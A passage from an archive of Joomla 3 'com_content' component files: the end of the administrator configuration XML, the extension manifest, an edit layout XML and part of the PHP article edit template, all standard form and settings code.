			<option value="0">JHIDE</option>
		</field>

		<field
			name="spacer2"
			type="spacer"
			hr="true"
		/>

		<field
			name="show_icons"
			type="radio"
			label="JGLOBAL_SHOW_ICONS_LABEL"
			description="JGLOBAL_SHOW_ICONS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_print_icon"
			type="radio"
			label="JGLOBAL_SHOW_PRINT_ICON_LABEL"
			description="JGLOBAL_SHOW_PRINT_ICON_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_email_icon"
			type="radio"
			label="JGLOBAL_SHOW_EMAIL_ICON_LABEL"
			description="JGLOBAL_SHOW_EMAIL_ICON_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_hits"
			type="radio"
			label="JGLOBAL_SHOW_HITS_LABEL"
			description="JGLOBAL_SHOW_HITS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="record_hits"
			type="radio"
			label="JGLOBAL_RECORD_HITS_LABEL"
			description="JGLOBAL_RECORD_HITS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="show_noauth"
			type="radio"
			label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
			description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="urls_position"
			type="radio"
			label="COM_CONTENT_FIELD_URLSPOSITION_LABEL"
			description="COM_CONTENT_FIELD_URLSPOSITION_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
			<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
		</field>
	</fieldset>

	<fieldset 
		name="editinglayout" 
		label="COM_CONTENT_EDITING_LAYOUT"
		description="COM_CONTENT_CONFIG_EDITOR_LAYOUT"
	>

		<field
			name="captcha"
			type="plugins"
			label="COM_CONTENT_FIELD_CAPTCHA_LABEL"
			description="COM_CONTENT_FIELD_CAPTCHA_DESC"
			folder="captcha"
			filter="cmd"
			useglobal="true"
			>
			<option value="0">JOPTION_DO_NOT_USE</option>
		</field>

		<field
			name="show_publishing_options"
			type="radio"
			label="COM_CONTENT_SHOW_PUBLISHING_OPTIONS_LABEL"
			description="COM_CONTENT_SHOW_PUBLISHING_OPTIONS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_article_options"
			type="radio"
			label="COM_CONTENT_SHOW_ARTICLE_OPTIONS_LABEL"
			description="COM_CONTENT_SHOW_ARTICLE_OPTIONS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="save_history"
			type="radio"
			label="JGLOBAL_SAVE_HISTORY_OPTIONS_LABEL"
			description="JGLOBAL_SAVE_HISTORY_OPTIONS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="history_limit"
			type="number"
			label="JGLOBAL_HISTORY_LIMIT_OPTIONS_LABEL"
			description="JGLOBAL_HISTORY_LIMIT_OPTIONS_DESC"
			filter="integer"
			default="10"
			showon="save_history:1"
		/>

		<field
			name="show_urls_images_frontend"
			type="radio"
			label="COM_CONTENT_SHOW_IMAGES_URLS_FRONT_LABEL"
			description="COM_CONTENT_SHOW_IMAGES_URLS_FRONT_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="show_urls_images_backend"
			type="radio"
			label="COM_CONTENT_SHOW_IMAGES_URLS_BACK_LABEL"
			description="COM_CONTENT_SHOW_IMAGES_URLS_BACK_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="spacer3"
			type="spacer"
			hr="true"
			showon="show_urls_images_backend:1[OR]show_urls_images_frontend:1"
		/>

		<field
			name="targeta"
			type="list"
			label="COM_CONTENT_URL_FIELD_A_BROWSERNAV_LABEL"
			description="COM_CONTENT_URL_FIELD_BROWSERNAV_DESC"
			default="Parent"
			filter="int"
			showon="show_urls_images_backend:1[OR]show_urls_images_frontend:1"
			>
			<option value="0">JBROWSERTARGET_PARENT</option>
			<option value="1">JBROWSERTARGET_NEW</option>
			<option value="2">JBROWSERTARGET_POPUP</option>
			<option value="3">JBROWSERTARGET_MODAL</option>
		</field>

		<field
			name="targetb"
			type="list"
			label="COM_CONTENT_URL_FIELD_B_BROWSERNAV_LABEL"
			description="COM_CONTENT_URL_FIELD_BROWSERNAV_DESC"
			default="Parent"
			filter="int"
			showon="show_urls_images_backend:1[OR]show_urls_images_frontend:1"
			>
			<option value="0">JBROWSERTARGET_PARENT</option>
			<option value="1">JBROWSERTARGET_NEW</option>
			<option value="2">JBROWSERTARGET_POPUP</option>
			<option value="3">JBROWSERTARGET_MODAL</option>
		</field>

		<field
			name="targetc"
			type="list"
			label="COM_CONTENT_URL_FIELD_C_BROWSERNAV_LABEL"
			description="COM_CONTENT_URL_FIELD_BROWSERNAV_DESC"
			default="Parent"
			filter="int"
			showon="show_urls_images_backend:1[OR]show_urls_images_frontend:1"
			>
			<option value="0">JBROWSERTARGET_PARENT</option>
			<option value="1">JBROWSERTARGET_NEW</option>
			<option value="2">JBROWSERTARGET_POPUP</option>
			<option value="3">JBROWSERTARGET_MODAL</option>
		</field>

		<field
			name="spacer4"
			type="spacer"
			hr="true"
			showon="show_urls_images_backend:1[OR]show_urls_images_frontend:1"
		/>

		<field
			name="float_intro"
			type="list"
			label="COM_CONTENT_FLOAT_INTRO_LABEL"
			description="COM_CONTENT_FLOAT_DESC"
			showon="show_urls_images_backend:1[OR]show_urls_images_frontend:1"
			>
			<option value="right">COM_CONTENT_RIGHT</option>
			<option value="left">COM_CONTENT_LEFT</option>
			<option value="none">COM_CONTENT_NONE</option>
		</field>

		<field
			name="float_fulltext"
			type="list"
			label="COM_CONTENT_FLOAT_FULLTEXT_LABEL"
			description="COM_CONTENT_FLOAT_DESC"
			showon="show_urls_images_backend:1[OR]show_urls_images_frontend:1"
			>
			<option value="right">COM_CONTENT_RIGHT</option>
			<option value="left">COM_CONTENT_LEFT</option>
			<option value="none">COM_CONTENT_NONE</option>
		</field>

	</fieldset>

	<fieldset
		name="category"
		label="JCATEGORY"
		description="COM_CONTENT_CONFIG_CATEGORY_SETTINGS_DESC"
	>

		<field
			name="category_layout" 
			type="componentlayout"
			label="JGLOBAL_FIELD_LAYOUT_LABEL"
			description="JGLOBAL_FIELD_LAYOUT_DESC"
			menuitems="true"
			extension="com_content"
			view="category"
		/>

		<field
			name="show_category_heading_title_text"
			type="radio"
			label="JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_LABEL"
			description="JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="show_category_title"
			type="radio"
			label="JGLOBAL_SHOW_CATEGORY_TITLE"
			description="JGLOBAL_SHOW_CATEGORY_TITLE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="show_description"
			type="radio"
			label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
			description="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="show_description_image"
			type="radio"
			label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
			description="JGLOBAL_SHOW_CATEGORY_IMAGE_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="maxLevel" 
			type="list"
			label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
			description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
			default="-1"
			>
			<option value="0">JNONE</option>
			<option value="-1">JALL</option>
			<option value="1">J1</option>
			<option value="2">J2</option>
			<option value="3">J3</option>
			<option value="4">J4</option>
			<option value="5">J5</option>
		</field>

		<field 
			name="show_empty_categories"
			type="radio"
			label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
			description="COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="show_no_articles"
			type="radio"
			label="COM_CONTENT_NO_ARTICLES_LABEL"
			description="COM_CONTENT_NO_ARTICLES_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="show_subcat_desc"
			type="radio"
			label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
			description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
			default="1"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="show_cat_num_articles"
			type="radio"
			label="COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL"
			description="COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="show_cat_tags" 
			type="radio"
			label="COM_CONTENT_FIELD_SHOW_CAT_TAGS_LABEL"
			description="COM_CONTENT_FIELD_SHOW_CAT_TAGS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

	</fieldset>

	<fieldset 
		name="categories"
		label="JCATEGORIES"
		description="COM_CONTENT_CONFIG_CATEGORIES_SETTINGS_DESC"
	>
		<field 
			name="show_base_description"
			type="radio"
			label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL"
			description="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="maxLevelcat" 
			type="list"
			label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
			description="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC"
			default="-1"
			>
			<option value="0">JNONE</option>
			<option value="-1">JALL</option>
			<option value="1">J1</option>
			<option value="2">J2</option>
			<option value="3">J3</option>
			<option value="4">J4</option>
			<option value="5">J5</option>
		</field>

		<field 
			name="show_empty_categories_cat"
			type="radio"
			label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
			description="COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			showon="maxLevelcat:-1,1,2,3,4,5"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="show_subcat_desc_cat"
			type="radio"
			label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
			description="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			showon="maxLevelcat:-1,1,2,3,4,5"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="show_cat_num_articles_cat"
			type="radio"
			label="COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL"
			description="COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

	</fieldset>

	<fieldset 
		name="blog_default_parameters"
		label="COM_CONTENT_CONFIG_BLOG_SETTINGS_LABEL"
		description="COM_CONTENT_CONFIG_BLOG_SETTINGS_DESC"
	>

		<field 
			name="num_leading_articles"
			type="number"
			label="JGLOBAL_NUM_LEADING_ARTICLES_LABEL"
			description="JGLOBAL_NUM_LEADING_ARTICLES_DESC"
			default="1"			
		/>

		<field 
			name="num_intro_articles"
			type="number"
			label="JGLOBAL_NUM_INTRO_ARTICLES_LABEL"
			description="JGLOBAL_NUM_INTRO_ARTICLES_DESC"
			default="4"
		/>

		<field 
			name="num_columns"
			type="number"
			label="JGLOBAL_NUM_COLUMNS_LABEL"
			description="JGLOBAL_NUM_COLUMNS_DESC"
			default="2"
		/>

		<field 
			name="num_links"
			type="number"
			label="JGLOBAL_NUM_LINKS_LABEL"
			description="JGLOBAL_NUM_LINKS_DESC"
			default="4"
		/>

		<field 
			name="multi_column_order"
			type="list"
			label="JGLOBAL_MULTI_COLUMN_ORDER_LABEL"
			description="JGLOBAL_MULTI_COLUMN_ORDER_DESC"
			default="0"
			showon="num_columns!:,0,1"
			>
			<option value="0">JGLOBAL_DOWN</option>
			<option value="1">JGLOBAL_ACROSS</option>
		</field>

		<field 
			name="spacer1"
			type="spacer"
			hr="true"
		/>

		<field 
			name="show_subcategory_content" 
			type="list"
			label="JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL"
			description="JGLOBAL_SHOW_SUBCATEGORY_CONTENT_DESC"
			default="0"
			>
			<option value="0">JNONE</option>
			<option value="-1">JALL</option>
			<option value="1">J1</option>
			<option value="2">J2</option>
			<option value="3">J3</option>
			<option value="4">J4</option>
			<option value="5">J5</option>
		</field>
	</fieldset>

	<fieldset 
		name="list_default_parameters"
		label="JGLOBAL_LIST_LAYOUT_OPTIONS"
		description="COM_CONTENT_CONFIG_LIST_SETTINGS_DESC"
		addfieldpath="/administrator/components/com_content/models/fields"
	>

		<field 
			name="show_pagination_limit"
			type="radio"
			label="JGLOBAL_DISPLAY_SELECT_LABEL"
			description="JGLOBAL_DISPLAY_SELECT_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="filter_field"
			type="list"
			label="JGLOBAL_FILTER_FIELD_LABEL"
			description="JGLOBAL_FILTER_FIELD_DESC"
			default="hide"
			>
			<option value="hide">JHIDE</option>
			<option value="title">JGLOBAL_TITLE</option>
			<option value="author">JAUTHOR</option>
			<option value="hits">JGLOBAL_HITS</option>
			<option value="tag">JTAG</option>
			<option value="month">JMONTH_PUBLISHED</option>
		</field>

		<field 
			name="show_headings"
			type="radio"
			label="JGLOBAL_SHOW_HEADINGS_LABEL"
			description="JGLOBAL_SHOW_HEADINGS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="list_show_date"
			type="list"
			label="JGLOBAL_SHOW_DATE_LABEL"
			description="JGLOBAL_SHOW_DATE_DESC"
			default="0"
			>
			<option value="0">JHIDE</option>
			<option value="created">JGLOBAL_CREATED</option>
			<option value="modified">JGLOBAL_MODIFIED</option>
			<option value="published">JPUBLISHED</option>
		</field>

		<field 
			name="date_format"
			type="text"
			label="JGLOBAL_DATE_FORMAT_LABEL"
			description="JGLOBAL_DATE_FORMAT_DESC"
			size="15"
			showon="list_show_date:created,modified,published"
		/>

		<field 
			name="list_show_hits"
			type="radio"
			label="JGLOBAL_LIST_HITS_LABEL"
			description="JGLOBAL_LIST_HITS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="list_show_author"
			type="radio"
			label="JGLOBAL_LIST_AUTHOR_LABEL"
			description="JGLOBAL_LIST_AUTHOR_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="list_show_votes"
			type="voteradio"
			label="JGLOBAL_LIST_VOTES_LABEL"
			description="JGLOBAL_LIST_VOTES_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="list_show_ratings"
			type="voteradio"
			label="JGLOBAL_LIST_RATINGS_LABEL"
			description="JGLOBAL_LIST_RATINGS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

	</fieldset>

	<fieldset
		name="shared"
		label="COM_CONTENT_SHARED_LABEL"
		description="COM_CONTENT_SHARED_DESC"
	>
	
		<field 
			name="orderby_pri"
			type="list"
			label="JGLOBAL_CATEGORY_ORDER_LABEL"
			description="JGLOBAL_CATEGORY_ORDER_DESC"
			default="none"
			>
			<option value="none">JGLOBAL_NO_ORDER</option>
			<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
			<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
			<option value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
		</field>

		<field 
			name="orderby_sec"
			type="list"
			label="JGLOBAL_ARTICLE_ORDER_LABEL"
			description="JGLOBAL_ARTICLE_ORDER_DESC"
			default="rdate"
			>
			<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
			<option value="date">JGLOBAL_OLDEST_FIRST</option>
			<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
			<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
			<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
			<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
			<option value="hits">JGLOBAL_MOST_HITS</option>
			<option value="rhits">JGLOBAL_LEAST_HITS</option>
			<option value="order">JGLOBAL_ARTICLE_MANAGER_ORDER</option>
			<option value="rorder">JGLOBAL_ARTICLE_MANAGER_REVERSE_ORDER</option>
			<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
			<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
			<option value="rank" requires="vote">JGLOBAL_RATINGS_DESC</option>
			<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
		</field>

		<field 
			name="order_date" 
			type="list"
			label="JGLOBAL_ORDERING_DATE_LABEL"
			description="JGLOBAL_ORDERING_DATE_DESC"
			showon="orderby_sec:rdate,date"
			default="published"
			>
			<option value="created">JGLOBAL_CREATED</option>
			<option value="modified">JGLOBAL_MODIFIED</option>
			<option value="published">JPUBLISHED</option>
		</field>

		<field 
			name="show_pagination"
			type="list"
			label="JGLOBAL_PAGINATION_LABEL"
			description="JGLOBAL_PAGINATION_DESC"
			default="2"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
			<option value="2">JGLOBAL_AUTO</option>
		</field>

		<field 
			name="show_pagination_results"
			type="radio"
			label="JGLOBAL_PAGINATION_RESULTS_LABEL"
			description="JGLOBAL_PAGINATION_RESULTS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			showon="show_pagination:1,2"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field 
			name="show_featured" 
			type="list" 
			label="JGLOBAL_SHOW_FEATURED_ARTICLES_LABEL"
			description="JGLOBAL_SHOW_FEATURED_ARTICLES_DESC"
			default="show"
			>
			<option value="show">JSHOW</option>
			<option value="hide">JHIDE</option>
			<option value="only">JONLY</option>
		</field>

	</fieldset>

	<fieldset 
		name="integration"
		label="JGLOBAL_INTEGRATION_LABEL"
		description="COM_CONTENT_CONFIG_INTEGRATION_SETTINGS_DESC"
	>

		<field
			name="integration_newsfeeds"
			type="note"
			label="JGLOBAL_FEED_TITLE"
		/>

		<field
			name="show_feed_link"
			type="radio"
			label="JGLOBAL_SHOW_FEED_LINK_LABEL"
			description="JGLOBAL_SHOW_FEED_LINK_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="feed_summary"
			type="list"
			label="JGLOBAL_FEED_SUMMARY_LABEL"
			description="JGLOBAL_FEED_SUMMARY_DESC"
			default="0"
			showon="show_feed_link:1"
			>
			<option value="0">JGLOBAL_INTRO_TEXT</option>
			<option value="1">JGLOBAL_FULL_TEXT</option>
		</field>

		<field
			name="feed_show_readmore"
			type="radio"
			label="JGLOBAL_FEED_SHOW_READMORE_LABEL"
			description="JGLOBAL_FEED_SHOW_READMORE_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			showon="show_feed_link:1[AND]feed_summary:0"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="integration_sef"
			type="note"
			label="JGLOBAL_SEF_TITLE"
		/>

		<field
			name="sef_advanced"
			type="radio"
			class="btn-group btn-group-yesno btn-group-reversed"
			default="0"
			label="JGLOBAL_SEF_ADVANCED_LABEL"
			description="JGLOBAL_SEF_ADVANCED_DESC"
			filter="integer"
			>
			<option value="0">JGLOBAL_SEF_ADVANCED_LEGACY</option>
			<option value="1">JGLOBAL_SEF_ADVANCED_MODERN</option>
		</field>

		<field
			name="sef_ids"
			type="radio"
			class="btn-group btn-group-yesno"
			default="0"
			label="JGLOBAL_SEF_NOIDS_LABEL"
			description="JGLOBAL_SEF_NOIDS_DESC"
			showon="sef_advanced:1"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="integration_customfields"
			type="note"
			label="JGLOBAL_FIELDS_TITLE"
		/>

		<field
			name="custom_fields_enable"
			type="radio"
			label="JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL"
			description="JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
	>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			validate="rules"
			filter="rules"
			component="com_content"
			section="component"
		/>
	</fieldset>
</config>
com_content/content.xml000060400000002560152455305310011252 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_content</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_CONTENT_XML_DESCRIPTION</description>
	<files folder="site">
		<filename>content.php</filename>
		<filename>controller.php</filename>
		<filename>router.php</filename>
		<folder>helpers</folder>
		<folder>models</folder>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_content.ini</language>
	</languages>
	<administration>
		<files folder="admin">
			<filename>access.xml</filename>
			<filename>config.xml</filename>
			<filename>content.php</filename>
			<filename>controller.php</filename>
			<folder>controllers</folder>
			<folder>elements</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>tables</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_content.ini</language>
			<language tag="en-GB">language/en-GB.com_content.sys.ini</language>
		</languages>
	</administration>
</extension>


com_content/views/article/tmpl/edit.xml000060400000000530152455305310014254 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTENT_ARTICLE_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_CONTENT_ARTICLE_VIEW_EDIT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="id"
				type="hidden"
				default="0"
			/>
		</fields>
	</fieldset>
</metadata>
com_content/views/article/tmpl/edit.php000060400000013063152455305310014250 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', '#jform_catid', null, array('disable_search_threshold' => 0 ));
JHtml::_('formbehavior.chosen', '#jform_tags', null, array('placeholder_text_multiple' => JText::_('JGLOBAL_TYPE_OR_SELECT_SOME_TAGS')));
JHtml::_('formbehavior.chosen', 'select');

$this->configFieldsets  = array('editorConfig');
$this->hiddenFieldsets  = array('basic-limited');
$this->ignore_fieldsets = array('jmetadata', 'item_associations');

// Create shortcut to parameters.
$params = clone $this->state->get('params');
$params->merge(new Registry($this->item->attribs));

$app = JFactory::getApplication();
$input = $app->input;

$assoc = JLanguageAssociations::isEnabled();

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task == "article.cancel" || document.formvalidator.isValid(document.getElementById("item-form")))
		{
			jQuery("#permissions-sliders select").attr("disabled", "disabled");
			' . $this->form->getField('articletext')->save() . '
			Joomla.submitform(task, document.getElementById("item-form"));

			// @deprecated 4.0  The following js is not needed since 3.7.0.
			if (task !== "article.apply")
			{
				window.parent.jQuery("#articleEdit' . (int) $this->item->id . 'Modal").modal("hide");
			}
		}
	};
');

// In case of modal
$isModal = $input->get('layout') == 'modal' ? true : false;
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
?>

<form action="<?php echo JRoute::_('index.php?option=com_content&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate">

	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'general')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'general', JText::_('COM_CONTENT_ARTICLE_CONTENT')); ?>
		<div class="row-fluid">
			<div class="span9">
				<fieldset class="adminform">
					<?php echo $this->form->getInput('articletext'); ?>
				</fieldset>
			</div>
			<div class="span3">
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php // Do not show the images and links options if the edit form is configured not to. ?>
		<?php if ($params->get('show_urls_images_backend') == 1) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'images', JText::_('COM_CONTENT_FIELDSET_URLS_AND_IMAGES')); ?>
			<div class="row-fluid form-horizontal-desktop">
				<div class="span6">
					<?php echo $this->form->renderField('images'); ?>
					<?php foreach ($this->form->getGroup('images') as $field) : ?>
						<?php echo $field->renderField(); ?>
					<?php endforeach; ?>
				</div>
				<div class="span6">
					<?php foreach ($this->form->getGroup('urls') as $field) : ?>
						<?php echo $field->renderField(); ?>
					<?php endforeach; ?>
				</div>
			</div>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php $this->show_options = $params->get('show_article_options', 1); ?>
		<?php echo JLayoutHelper::render('joomla.edit.params', $this); ?>

		<?php // Do not show the publishing options if the edit form is configured not to. ?>
		<?php if ($params->get('show_publishing_options', 1) == 1) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'publishing', JText::_('COM_CONTENT_FIELDSET_PUBLISHING')); ?>
			<div class="row-fluid form-horizontal-desktop">
				<div class="span6">
					<?php echo JLayoutHelper::render('joomla.edit.publishingdata', $this); ?>
				</div>
				<div class="span6">
					<?php echo JLayoutHelper::render('joomla.edit.metadata', $this); ?>
				</div>
			</div>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>


		<?php if ( ! $isModal && $assoc) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'associations', JText::_('JGLOBAL_FIELDSET_ASSOCIATIONS')); ?>
			<?php echo $this->loadTemplate('associations'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php elseif ($isModal && $assoc) : ?>
			<div class="hidden"><?php echo $this->loadTemplate('associations'); ?></div>
		<?php endif; ?>

		<?php if ($this->canDo->get('core.admin')) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'editor', JText::_('COM_CONTENT_SLIDER_EDITOR_CONFIG')); ?>
			<?php echo $this->form->renderFieldset('editorConfig'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php if ($this->canDo->get('core.admin')) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'permissions', JText::_('COM_CONTENT_FIELDSET_RULES')); ?>
				<?php echo $this->form->getInput('rules'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>

		<input type="hidden" name="task" value="" />
